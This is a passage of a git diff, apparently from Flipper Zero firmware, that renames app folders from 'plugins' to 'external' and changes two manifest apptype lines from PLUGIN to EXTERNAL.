applications/plugins/lightmeter/lightmeter.h rename to applications/external/lightmeter/lightmeter.h diff --git a/applications/plugins/lightmeter/lightmeter.png b/applications/external/lightmeter/lightmeter.png similarity index 100% rename from applications/plugins/lightmeter/lightmeter.png rename to applications/external/lightmeter/lightmeter.png diff --git a/applications/plugins/lightmeter/lightmeter_config.h b/applications/external/lightmeter/lightmeter_config.h similarity index 100% rename from applications/plugins/lightmeter/lightmeter_config.h rename to applications/external/lightmeter/lightmeter_config.h diff --git a/applications/plugins/lightmeter/lightmeter_helper.c b/applications/external/lightmeter/lightmeter_helper.c similarity index 100% rename from applications/plugins/lightmeter/lightmeter_helper.c rename to applications/external/lightmeter/lightmeter_helper.c diff --git a/applications/plugins/lightmeter/lightmeter_helper.h b/applications/external/lightmeter/lightmeter_helper.h similarity index 100% rename from applications/plugins/lightmeter/lightmeter_helper.h rename to applications/external/lightmeter/lightmeter_helper.h diff --git a/applications/plugins/mandelbrot/Mandelbrot.png b/applications/external/mandelbrot/Mandelbrot.png similarity index 100% rename from applications/plugins/mandelbrot/Mandelbrot.png rename to applications/external/mandelbrot/Mandelbrot.png diff --git a/applications/plugins/mandelbrot/application.fam b/applications/external/mandelbrot/application.fam similarity index 100% rename from applications/plugins/mandelbrot/application.fam rename to applications/external/mandelbrot/application.fam diff --git a/applications/plugins/mandelbrot/mandelbrot.c b/applications/external/mandelbrot/mandelbrot.c similarity index 100% rename from applications/plugins/mandelbrot/mandelbrot.c rename to applications/external/mandelbrot/mandelbrot.c diff --git a/applications/plugins/metronome/README.md b/applications/external/metronome/README.md similarity index 100% rename from applications/plugins/metronome/README.md rename to applications/external/metronome/README.md diff --git a/applications/plugins/metronome/application.fam b/applications/external/metronome/application.fam similarity index 100% rename from applications/plugins/metronome/application.fam rename to applications/external/metronome/application.fam diff --git a/applications/plugins/metronome/gui_extensions.c b/applications/external/metronome/gui_extensions.c similarity index 100% rename from applications/plugins/metronome/gui_extensions.c rename to applications/external/metronome/gui_extensions.c diff --git a/applications/plugins/metronome/gui_extensions.h b/applications/external/metronome/gui_extensions.h similarity index 100% rename from applications/plugins/metronome/gui_extensions.h rename to applications/external/metronome/gui_extensions.h diff --git a/applications/plugins/metronome/images/ButtonUp_7x4.png b/applications/external/metronome/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/metronome/images/ButtonUp_7x4.png rename to applications/external/metronome/images/ButtonUp_7x4.png diff --git a/applications/plugins/metronome/img/screenshot.png b/applications/external/metronome/img/screenshot.png similarity index 100% rename from applications/plugins/metronome/img/screenshot.png rename to applications/external/metronome/img/screenshot.png diff --git a/applications/plugins/metronome/img/wave_left_4x14.png b/applications/external/metronome/img/wave_left_4x14.png similarity index 100% rename from applications/plugins/metronome/img/wave_left_4x14.png rename to applications/external/metronome/img/wave_left_4x14.png diff --git a/applications/plugins/metronome/img/wave_right_4x14.png b/applications/external/metronome/img/wave_right_4x14.png similarity index 100% rename from applications/plugins/metronome/img/wave_right_4x14.png rename to applications/external/metronome/img/wave_right_4x14.png diff --git a/applications/plugins/metronome/metronome.c b/applications/external/metronome/metronome.c similarity index 100% rename from applications/plugins/metronome/metronome.c rename to applications/external/metronome/metronome.c diff --git a/applications/plugins/metronome/metronome_icon.png b/applications/external/metronome/metronome_icon.png similarity index 100% rename from applications/plugins/metronome/metronome_icon.png rename to applications/external/metronome/metronome_icon.png diff --git a/applications/plugins/minesweeper/LICENSE b/applications/external/minesweeper/LICENSE similarity index 100% rename from applications/plugins/minesweeper/LICENSE rename to applications/external/minesweeper/LICENSE diff --git a/applications/plugins/minesweeper/README.md b/applications/external/minesweeper/README.md similarity index 100% rename from applications/plugins/minesweeper/README.md rename to applications/external/minesweeper/README.md diff --git a/applications/plugins/minesweeper/application.fam b/applications/external/minesweeper/application.fam similarity index 100% rename from applications/plugins/minesweeper/application.fam rename to applications/external/minesweeper/application.fam diff --git a/applications/plugins/minesweeper/assets.h b/applications/external/minesweeper/assets.h similarity index 100% rename from applications/plugins/minesweeper/assets.h rename to applications/external/minesweeper/assets.h diff --git a/applications/plugins/minesweeper/assets/asset b/applications/external/minesweeper/assets/asset similarity index 100% rename from applications/plugins/minesweeper/assets/asset rename to applications/external/minesweeper/assets/asset diff --git a/applications/plugins/minesweeper/assets/mockup.png b/applications/external/minesweeper/assets/mockup.png similarity index 100% rename from applications/plugins/minesweeper/assets/mockup.png rename to applications/external/minesweeper/assets/mockup.png diff --git a/applications/plugins/minesweeper/assets/tile_0.png b/applications/external/minesweeper/assets/tile_0.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_0.png rename to applications/external/minesweeper/assets/tile_0.png diff --git a/applications/plugins/minesweeper/assets/tile_0.xbm b/applications/external/minesweeper/assets/tile_0.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_0.xbm rename to applications/external/minesweeper/assets/tile_0.xbm diff --git a/applications/plugins/minesweeper/assets/tile_1.png b/applications/external/minesweeper/assets/tile_1.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_1.png rename to applications/external/minesweeper/assets/tile_1.png diff --git a/applications/plugins/minesweeper/assets/tile_1.xbm b/applications/external/minesweeper/assets/tile_1.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_1.xbm rename to applications/external/minesweeper/assets/tile_1.xbm diff --git a/applications/plugins/minesweeper/assets/tile_2.png b/applications/external/minesweeper/assets/tile_2.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_2.png rename to applications/external/minesweeper/assets/tile_2.png diff --git a/applications/plugins/minesweeper/assets/tile_2.xbm b/applications/external/minesweeper/assets/tile_2.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_2.xbm rename to applications/external/minesweeper/assets/tile_2.xbm diff --git a/applications/plugins/minesweeper/assets/tile_3.png b/applications/external/minesweeper/assets/tile_3.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_3.png rename to applications/external/minesweeper/assets/tile_3.png diff --git a/applications/plugins/minesweeper/assets/tile_3.xbm b/applications/external/minesweeper/assets/tile_3.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_3.xbm rename to applications/external/minesweeper/assets/tile_3.xbm diff --git a/applications/plugins/minesweeper/assets/tile_4.png b/applications/external/minesweeper/assets/tile_4.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_4.png rename to applications/external/minesweeper/assets/tile_4.png diff --git a/applications/plugins/minesweeper/assets/tile_4.xbm b/applications/external/minesweeper/assets/tile_4.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_4.xbm rename to applications/external/minesweeper/assets/tile_4.xbm diff --git a/applications/plugins/minesweeper/assets/tile_5.png b/applications/external/minesweeper/assets/tile_5.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_5.png rename to applications/external/minesweeper/assets/tile_5.png diff --git a/applications/plugins/minesweeper/assets/tile_5.xbm b/applications/external/minesweeper/assets/tile_5.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_5.xbm rename to applications/external/minesweeper/assets/tile_5.xbm diff --git a/applications/plugins/minesweeper/assets/tile_6.png b/applications/external/minesweeper/assets/tile_6.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_6.png rename to applications/external/minesweeper/assets/tile_6.png diff --git a/applications/plugins/minesweeper/assets/tile_6.xbm b/applications/external/minesweeper/assets/tile_6.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_6.xbm rename to applications/external/minesweeper/assets/tile_6.xbm diff --git a/applications/plugins/minesweeper/assets/tile_7.png b/applications/external/minesweeper/assets/tile_7.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_7.png rename to applications/external/minesweeper/assets/tile_7.png diff --git a/applications/plugins/minesweeper/assets/tile_7.xbm b/applications/external/minesweeper/assets/tile_7.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_7.xbm rename to applications/external/minesweeper/assets/tile_7.xbm diff --git a/applications/plugins/minesweeper/assets/tile_8.png b/applications/external/minesweeper/assets/tile_8.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_8.png rename to applications/external/minesweeper/assets/tile_8.png diff --git a/applications/plugins/minesweeper/assets/tile_8.xbm b/applications/external/minesweeper/assets/tile_8.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_8.xbm rename to applications/external/minesweeper/assets/tile_8.xbm diff --git a/applications/plugins/minesweeper/assets/tile_empty.png b/applications/external/minesweeper/assets/tile_empty.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_empty.png rename to applications/external/minesweeper/assets/tile_empty.png diff --git a/applications/plugins/minesweeper/assets/tile_flag.png b/applications/external/minesweeper/assets/tile_flag.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_flag.png rename to applications/external/minesweeper/assets/tile_flag.png diff --git a/applications/plugins/minesweeper/assets/tile_flag.xbm b/applications/external/minesweeper/assets/tile_flag.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_flag.xbm rename to applications/external/minesweeper/assets/tile_flag.xbm diff --git a/applications/plugins/minesweeper/assets/tile_mine.png b/applications/external/minesweeper/assets/tile_mine.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_mine.png rename to applications/external/minesweeper/assets/tile_mine.png diff --git a/applications/plugins/minesweeper/assets/tile_mine.xbm b/applications/external/minesweeper/assets/tile_mine.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_mine.xbm rename to applications/external/minesweeper/assets/tile_mine.xbm diff --git a/applications/plugins/minesweeper/assets/tile_uncleared.png b/applications/external/minesweeper/assets/tile_uncleared.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_uncleared.png rename to applications/external/minesweeper/assets/tile_uncleared.png diff --git a/applications/plugins/minesweeper/assets/tile_uncleared.xbm b/applications/external/minesweeper/assets/tile_uncleared.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_uncleared.xbm rename to applications/external/minesweeper/assets/tile_uncleared.xbm diff --git a/applications/plugins/minesweeper/img/screenshot.png b/applications/external/minesweeper/img/screenshot.png similarity index 100% rename from applications/plugins/minesweeper/img/screenshot.png rename to applications/external/minesweeper/img/screenshot.png diff --git a/applications/plugins/minesweeper/minesweeper.c b/applications/external/minesweeper/minesweeper.c similarity index 100% rename from applications/plugins/minesweeper/minesweeper.c rename to applications/external/minesweeper/minesweeper.c diff --git a/applications/plugins/minesweeper/minesweeper_icon.png b/applications/external/minesweeper/minesweeper_icon.png similarity index 100% rename from applications/plugins/minesweeper/minesweeper_icon.png rename to applications/external/minesweeper/minesweeper_icon.png diff --git a/applications/plugins/morse_code/application.fam b/applications/external/morse_code/application.fam similarity index 100% rename from applications/plugins/morse_code/application.fam rename to applications/external/morse_code/application.fam diff --git a/applications/plugins/morse_code/morse_code.c b/applications/external/morse_code/morse_code.c similarity index 100% rename from applications/plugins/morse_code/morse_code.c rename to applications/external/morse_code/morse_code.c diff --git a/applications/plugins/morse_code/morse_code_10px.png b/applications/external/morse_code/morse_code_10px.png similarity index 100% rename from applications/plugins/morse_code/morse_code_10px.png rename to applications/external/morse_code/morse_code_10px.png diff --git a/applications/plugins/morse_code/morse_code_worker.c b/applications/external/morse_code/morse_code_worker.c similarity index 100% rename from applications/plugins/morse_code/morse_code_worker.c rename to applications/external/morse_code/morse_code_worker.c diff --git a/applications/plugins/morse_code/morse_code_worker.h b/applications/external/morse_code/morse_code_worker.h similarity index 100% rename from applications/plugins/morse_code/morse_code_worker.h rename to applications/external/morse_code/morse_code_worker.h diff --git a/applications/plugins/mousejacker/application.fam b/applications/external/mousejacker/application.fam similarity index 100% rename from applications/plugins/mousejacker/application.fam rename to applications/external/mousejacker/application.fam diff --git a/applications/plugins/mousejacker/images/badusb_10px.png b/applications/external/mousejacker/images/badusb_10px.png similarity index 100% rename from applications/plugins/mousejacker/images/badusb_10px.png rename to applications/external/mousejacker/images/badusb_10px.png diff --git a/applications/plugins/mousejacker/images/sub1_10px.png b/applications/external/mousejacker/images/sub1_10px.png similarity index 100% rename from applications/plugins/mousejacker/images/sub1_10px.png rename to applications/external/mousejacker/images/sub1_10px.png diff --git a/applications/plugins/mousejacker/lib/nrf24/nrf24.c b/applications/external/mousejacker/lib/nrf24/nrf24.c similarity index 100% rename from applications/plugins/mousejacker/lib/nrf24/nrf24.c rename to applications/external/mousejacker/lib/nrf24/nrf24.c diff --git a/applications/plugins/mousejacker/lib/nrf24/nrf24.h b/applications/external/mousejacker/lib/nrf24/nrf24.h similarity index 100% rename from applications/plugins/mousejacker/lib/nrf24/nrf24.h rename to applications/external/mousejacker/lib/nrf24/nrf24.h diff --git a/applications/plugins/mousejacker/mouse_10px.png b/applications/external/mousejacker/mouse_10px.png similarity index 100% rename from applications/plugins/mousejacker/mouse_10px.png rename to applications/external/mousejacker/mouse_10px.png diff --git a/applications/plugins/mousejacker/mousejacker.c b/applications/external/mousejacker/mousejacker.c similarity index 100% rename from applications/plugins/mousejacker/mousejacker.c rename to applications/external/mousejacker/mousejacker.c diff --git a/applications/plugins/mousejacker/mousejacker_ducky.c b/applications/external/mousejacker/mousejacker_ducky.c similarity index 100% rename from applications/plugins/mousejacker/mousejacker_ducky.c rename to applications/external/mousejacker/mousejacker_ducky.c diff --git a/applications/plugins/mousejacker/mousejacker_ducky.h b/applications/external/mousejacker/mousejacker_ducky.h similarity index 100% rename from applications/plugins/mousejacker/mousejacker_ducky.h rename to applications/external/mousejacker/mousejacker_ducky.h diff --git a/applications/plugins/multi_converter/application.fam b/applications/external/multi_converter/application.fam similarity index 100% rename from applications/plugins/multi_converter/application.fam rename to applications/external/multi_converter/application.fam diff --git a/applications/plugins/multi_converter/converter_10px.png b/applications/external/multi_converter/converter_10px.png similarity index 100% rename from applications/plugins/multi_converter/converter_10px.png rename to applications/external/multi_converter/converter_10px.png diff --git a/applications/plugins/multi_converter/multi_converter.c b/applications/external/multi_converter/multi_converter.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter.c rename to applications/external/multi_converter/multi_converter.c diff --git a/applications/plugins/multi_converter/multi_converter_definitions.h b/applications/external/multi_converter/multi_converter_definitions.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_definitions.h rename to applications/external/multi_converter/multi_converter_definitions.h diff --git a/applications/plugins/multi_converter/multi_converter_mode_display.c b/applications/external/multi_converter/multi_converter_mode_display.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_display.c rename to applications/external/multi_converter/multi_converter_mode_display.c diff --git a/applications/plugins/multi_converter/multi_converter_mode_display.h b/applications/external/multi_converter/multi_converter_mode_display.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_display.h rename to applications/external/multi_converter/multi_converter_mode_display.h diff --git a/applications/plugins/multi_converter/multi_converter_mode_select.c b/applications/external/multi_converter/multi_converter_mode_select.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_select.c rename to applications/external/multi_converter/multi_converter_mode_select.c diff --git a/applications/plugins/multi_converter/multi_converter_mode_select.h b/applications/external/multi_converter/multi_converter_mode_select.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_mode_select.h rename to applications/external/multi_converter/multi_converter_mode_select.h diff --git a/applications/plugins/multi_converter/multi_converter_units.c b/applications/external/multi_converter/multi_converter_units.c similarity index 100% rename from applications/plugins/multi_converter/multi_converter_units.c rename to applications/external/multi_converter/multi_converter_units.c diff --git a/applications/plugins/multi_converter/multi_converter_units.h b/applications/external/multi_converter/multi_converter_units.h similarity index 100% rename from applications/plugins/multi_converter/multi_converter_units.h rename to applications/external/multi_converter/multi_converter_units.h diff --git a/applications/plugins/multi_dice/application.fam b/applications/external/multi_dice/application.fam similarity index 100% rename from applications/plugins/multi_dice/application.fam rename to applications/external/multi_dice/application.fam diff --git a/applications/plugins/multi_dice/dice.c b/applications/external/multi_dice/dice.c similarity index 100% rename from applications/plugins/multi_dice/dice.c rename to applications/external/multi_dice/dice.c diff --git a/applications/plugins/multi_dice/dice.png b/applications/external/multi_dice/dice.png similarity index 100% rename from applications/plugins/multi_dice/dice.png rename to applications/external/multi_dice/dice.png diff --git a/applications/plugins/music_beeper/application.fam b/applications/external/music_beeper/application.fam similarity index 100% rename from applications/plugins/music_beeper/application.fam rename to applications/external/music_beeper/application.fam diff --git a/applications/plugins/music_beeper/icons/music_10px.png b/applications/external/music_beeper/icons/music_10px.png similarity index 100% rename from applications/plugins/music_beeper/icons/music_10px.png rename to applications/external/music_beeper/icons/music_10px.png diff --git a/applications/plugins/music_beeper/music_10px.png b/applications/external/music_beeper/music_10px.png similarity index 100% rename from applications/plugins/music_beeper/music_10px.png rename to applications/external/music_beeper/music_10px.png diff --git a/applications/plugins/music_beeper/music_beeper.c b/applications/external/music_beeper/music_beeper.c similarity index 100% rename from applications/plugins/music_beeper/music_beeper.c rename to applications/external/music_beeper/music_beeper.c diff --git a/applications/plugins/music_beeper/music_beeper_cli.c b/applications/external/music_beeper/music_beeper_cli.c similarity index 100% rename from applications/plugins/music_beeper/music_beeper_cli.c rename to applications/external/music_beeper/music_beeper_cli.c diff --git a/applications/plugins/music_beeper/music_beeper_worker.c b/applications/external/music_beeper/music_beeper_worker.c similarity index 100% rename from applications/plugins/music_beeper/music_beeper_worker.c rename to applications/external/music_beeper/music_beeper_worker.c diff --git a/applications/plugins/music_beeper/music_beeper_worker.h b/applications/external/music_beeper/music_beeper_worker.h similarity index 100% rename from applications/plugins/music_beeper/music_beeper_worker.h rename to applications/external/music_beeper/music_beeper_worker.h diff --git a/applications/plugins/music_player/application.fam b/applications/external/music_player/application.fam similarity index 93% rename from applications/plugins/music_player/application.fam rename to applications/external/music_player/application.fam index 07f489072..1072f1524 100644 --- a/applications/plugins/music_player/application.fam +++ b/applications/external/music_player/application.fam @@ -1,7 +1,7 @@ App( appid="Music_Player", name="Music Player", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="music_player_app", cdefines=["APP_MUSIC_PLAYER"], requires=[ diff --git a/applications/plugins/music_player/icons/music_10px.png b/applications/external/music_player/icons/music_10px.png similarity index 100% rename from applications/plugins/music_player/icons/music_10px.png rename to applications/external/music_player/icons/music_10px.png diff --git a/applications/plugins/music_player/music_player.c b/applications/external/music_player/music_player.c similarity index 100% rename from applications/plugins/music_player/music_player.c rename to applications/external/music_player/music_player.c diff --git a/applications/plugins/music_player/music_player_cli.c b/applications/external/music_player/music_player_cli.c similarity index 100% rename from applications/plugins/music_player/music_player_cli.c rename to applications/external/music_player/music_player_cli.c diff --git a/applications/plugins/music_player/music_player_worker.c b/applications/external/music_player/music_player_worker.c similarity index 100% rename from applications/plugins/music_player/music_player_worker.c rename to applications/external/music_player/music_player_worker.c diff --git a/applications/plugins/music_player/music_player_worker.h b/applications/external/music_player/music_player_worker.h similarity index 100% rename from applications/plugins/music_player/music_player_worker.h rename to applications/external/music_player/music_player_worker.h diff --git a/applications/plugins/musictracker/.github/workflows/build_dev.yml b/applications/external/musictracker/.github/workflows/build_dev.yml similarity index 100% rename from applications/plugins/musictracker/.github/workflows/build_dev.yml rename to applications/external/musictracker/.github/workflows/build_dev.yml diff --git a/applications/plugins/musictracker/README.md b/applications/external/musictracker/README.md similarity index 100% rename from applications/plugins/musictracker/README.md rename to applications/external/musictracker/README.md diff --git a/applications/plugins/musictracker/application.fam b/applications/external/musictracker/application.fam similarity index 87% rename from applications/plugins/musictracker/application.fam rename to applications/external/musictracker/application.fam index c0f7edca6..f3bac02c2 100644 --- a/applications/plugins/musictracker/application.fam +++ b/applications/external/musictracker/application.fam @@ -1,7 +1,7 @@ App( appid="zero_tracker", name="Zero Tracker", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="zero_tracker_app", requires=[ "gui", diff --git a/applications/plugins/musictracker/icons/.gitignore b/applications/external/musictracker/icons/.gitignore similarity index 100% rename from applications/plugins/musictracker/icons/.gitignore rename to applications/external/musictracker/icons/.gitignore diff --git a/applications/plugins/musictracker/tracker_engine/speaker_hal.c b/applications/external/musictracker/tracker_engine/speaker_hal.c similarity index 100% rename from applications/plugins/musictracker/tracker_engine/speaker_hal.c rename to applications/external/musictracker/tracker_engine/speaker_hal.c diff --git a/applications/plugins/musictracker/tracker_engine/speaker_hal.h b/applications/external/musictracker/tracker_engine/speaker_hal.h similarity index 100% rename from applications/plugins/musictracker/tracker_engine/speaker_hal.h rename to applications/external/musictracker/tracker_engine/speaker_hal.h diff --git a/applications/plugins/musictracker/tracker_engine/tracker.c b/applications/external/musictracker/tracker_engine/tracker.c similarity index 100% rename from applications/plugins/musictracker/tracker_engine/tracker.c rename to applications/external/musictracker/tracker_engine/tracker.c diff --git a/applications/plugins/musictracker/tracker_engine/tracker.h b/applications/external/musictracker/tracker_engine/tracker.h similarity index 100% rename from applications/plugins/musictracker/tracker_engine/tracker.h rename to applications/external/musictracker/tracker_engine/tracker.h diff --git a/applications/plugins/musictracker/tracker_engine/tracker_notes.h b/applications/external/musictracker/tracker_engine/tracker_notes.h similarity index 100% rename from applications/plugins/musictracker/tracker_engine/tracker_notes.h rename to applications/external/musictracker/tracker_engine/tracker_notes.h diff --git a/applications/plugins/musictracker/tracker_engine/tracker_song.h b/applications/external/musictracker/tracker_engine/tracker_song.h similarity index 100% rename from applications/plugins/musictracker/tracker_engine/tracker_song.h rename to applications/external/musictracker/tracker_engine/tracker_song.h diff --git a/applications/plugins/musictracker/view/tracker_view.c b/applications/external/musictracker/view/tracker_view.c similarity index 100% rename from applications/plugins/musictracker/view/tracker_view.c rename to applications/external/musictracker/view/tracker_view.c diff --git a/applications/plugins/musictracker/view/tracker_view.h b/applications/external/musictracker/view/tracker_view.h similarity index 100% rename from applications/plugins/musictracker/view/tracker_view.h rename to applications/external/musictracker/view/tracker_view.h diff --git a/applications/plugins/musictracker/zero_tracker.c b/applications/external/musictracker/zero_tracker.c similarity index 100% rename from applications/plugins/musictracker/zero_tracker.c rename to applications/external/musictracker/zero_tracker.c diff --git a/applications/plugins/musictracker/zero_tracker.h b/applications/external/musictracker/zero_tracker.h similarity index 100% rename from applications/plugins/musictracker/zero_tracker.h rename to applications/external/musictracker/zero_tracker.h diff --git a/applications/plugins/musictracker/zero_tracker.png b/applications/external/musictracker/zero_tracker.png similarity index 100% rename from applications/plugins/musictracker/zero_tracker.png rename to applications/external/musictracker/zero_tracker.png diff --git a/applications/plugins/nfc_magic/application.fam b/applications/external/nfc_magic/application.fam similarity index 100% rename from applications/plugins/nfc_magic/application.fam rename to applications/external/nfc_magic/application.fam diff --git a/applications/plugins/nfc_magic/assets/DolphinCommon_56x48.png b/applications/external/nfc_magic/assets/DolphinCommon_56x48.png similarity index 100% rename from applications/plugins/nfc_magic/assets/DolphinCommon_56x48.png rename to applications/external/nfc_magic/assets/DolphinCommon_56x48.png diff --git a/applications/plugins/nfc_magic/assets/DolphinNice_96x59.png b/applications/external/nfc_magic/assets/DolphinNice_96x59.png similarity index 100% rename from applications/plugins/nfc_magic/assets/DolphinNice_96x59.png rename to applications/external/nfc_magic/assets/DolphinNice_96x59.png diff --git a/applications/plugins/nfc_magic/assets/Loading_24.png b/applications/external/nfc_magic/assets/Loading_24.png similarity index 100% rename from applications/plugins/nfc_magic/assets/Loading_24.png rename to applications/external/nfc_magic/assets/Loading_24.png diff --git a/applications/plugins/nfc_magic/assets/NFC_manual_60x50.png b/applications/external/nfc_magic/assets/NFC_manual_60x50.png similarity index 100% rename from applications/plugins/nfc_magic/assets/NFC_manual_60x50.png rename to applications/external/nfc_magic/assets/NFC_manual_60x50.png diff --git a/applications/plugins/nfc_magic/lib/magic/magic.c b/applications/external/nfc_magic/lib/magic/magic.c similarity index 100% rename from applications/plugins/nfc_magic/lib/magic/magic.c rename to applications/external/nfc_magic/lib/magic/magic.c diff --git a/applications/plugins/nfc_magic/lib/magic/magic.h b/applications/external/nfc_magic/lib/magic/magic.h similarity index 100% rename from applications/plugins/nfc_magic/lib/magic/magic.h rename to applications/external/nfc_magic/lib/magic/magic.h diff --git a/applications/plugins/nfc_magic/nfc_magic.c b/applications/external/nfc_magic/nfc_magic.c similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic.c rename to applications/external/nfc_magic/nfc_magic.c diff --git a/applications/plugins/nfc_magic/nfc_magic.h b/applications/external/nfc_magic/nfc_magic.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic.h rename to applications/external/nfc_magic/nfc_magic.h diff --git a/applications/plugins/nfc_magic/nfc_magic_i.h b/applications/external/nfc_magic/nfc_magic_i.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic_i.h rename to applications/external/nfc_magic/nfc_magic_i.h diff --git a/applications/plugins/nfc_magic/nfc_magic_worker.c b/applications/external/nfc_magic/nfc_magic_worker.c similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic_worker.c rename to applications/external/nfc_magic/nfc_magic_worker.c diff --git a/applications/plugins/nfc_magic/nfc_magic_worker.h b/applications/external/nfc_magic/nfc_magic_worker.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic_worker.h rename to applications/external/nfc_magic/nfc_magic_worker.h diff --git a/applications/plugins/nfc_magic/nfc_magic_worker_i.h b/applications/external/nfc_magic/nfc_magic_worker_i.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic_worker_i.h rename to applications/external/nfc_magic/nfc_magic_worker_i.h diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene.c b/applications/external/nfc_magic/scenes/nfc_magic_scene.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene.h b/applications/external/nfc_magic/scenes/nfc_magic_scene.h similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene.h rename to applications/external/nfc_magic/scenes/nfc_magic_scene.h diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_check.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_check.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_check.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_config.h b/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_config.h rename to applications/external/nfc_magic/scenes/nfc_magic_scene_config.h diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_file_select.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_file_select.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_magic_info.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_magic_info.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_not_magic.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_not_magic.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_start.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_start.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_start.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_success.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_success.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_success.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_success.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_write.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_write.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_write.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_confirm.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_confirm.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_fail.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_wrong_card.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_wrong_card.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c diff --git a/applications/plugins/nightstand/application.fam b/applications/external/nightstand/application.fam similarity index 100% 